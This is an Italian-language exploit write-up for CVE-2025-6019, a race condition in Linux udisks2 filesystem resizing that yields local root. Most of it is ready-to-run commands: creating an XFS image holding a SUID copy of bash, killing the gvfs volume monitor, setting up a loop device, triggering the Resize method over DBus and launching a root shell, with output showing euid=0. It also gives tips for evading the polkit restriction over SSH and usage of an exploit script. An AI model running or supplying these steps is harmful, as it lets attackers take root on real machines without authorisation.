CVE-2025-6019: Exploit di escalation dei privilegi tramite ridimensionamento del filesystem UDisks2

Dettagli della vulnerabilità

• ID CVE: CVE-2025-6019
• Impatto: Escalation locale dei privilegi (LPE)
• Sistemi interessati: Sistemi Linux con versioni vulnerabili di udisks2
• Meccanismo: Una condizione di gara durante il ridimensionamento del filesystem consente l'accesso a binari SUID in directory temporanee scrivibili da tutti
• Componenti chiave:
  • Servizio udisks2 (interfaccia DBus)
  • Metodo org.freedesktop.UDisks2.Filesystem.Resize
  • Punti di mount temporanei sotto /tmp/blockdev*

Flusso di lavoro dell'exploit

1. Preparare l'immagine del filesystem malevolo (Attaccante)

dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # Set SUID bit
umount ./xfs.mount 

2. Attivare l'exploit (Macchina vittima)

# Verify system capabilities
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Clear interference
killall -KILL gvfs-udisks2-volume-monitor

# Setup loop device
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# Background watcher (executes when SUID binary appears)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# Trigger vulnerability via DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

3. Ottenere accesso root

/tmp/blockdev*/bash -p  # Launch privileged shell
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)

Importante!

L'exploit funziona solo in una sessione logind!

• Lo script deve essere eseguito da una sessione logind che sia Active=yes e Remote=no (es. tty1).
• Quando viene avviato da una sessione SSH / pts/* / reverse-shell, la chiamata udisksctl loop-setup --no-user-interaction viene negata da polkit, quindi il PoC termina con “Impossibile creare il dispositivo loop”.

Nota:

• Se si desidera utilizzare l'exploit tramite SSH, è necessario applicare una regola polkit temporanea.

Come usare l'exploit

Creare l'immagine suid

$ sudo bash exploit.sh create 

Eseguire l'exploit sul sistema

$ bash exploit.sh exploit 

Video POC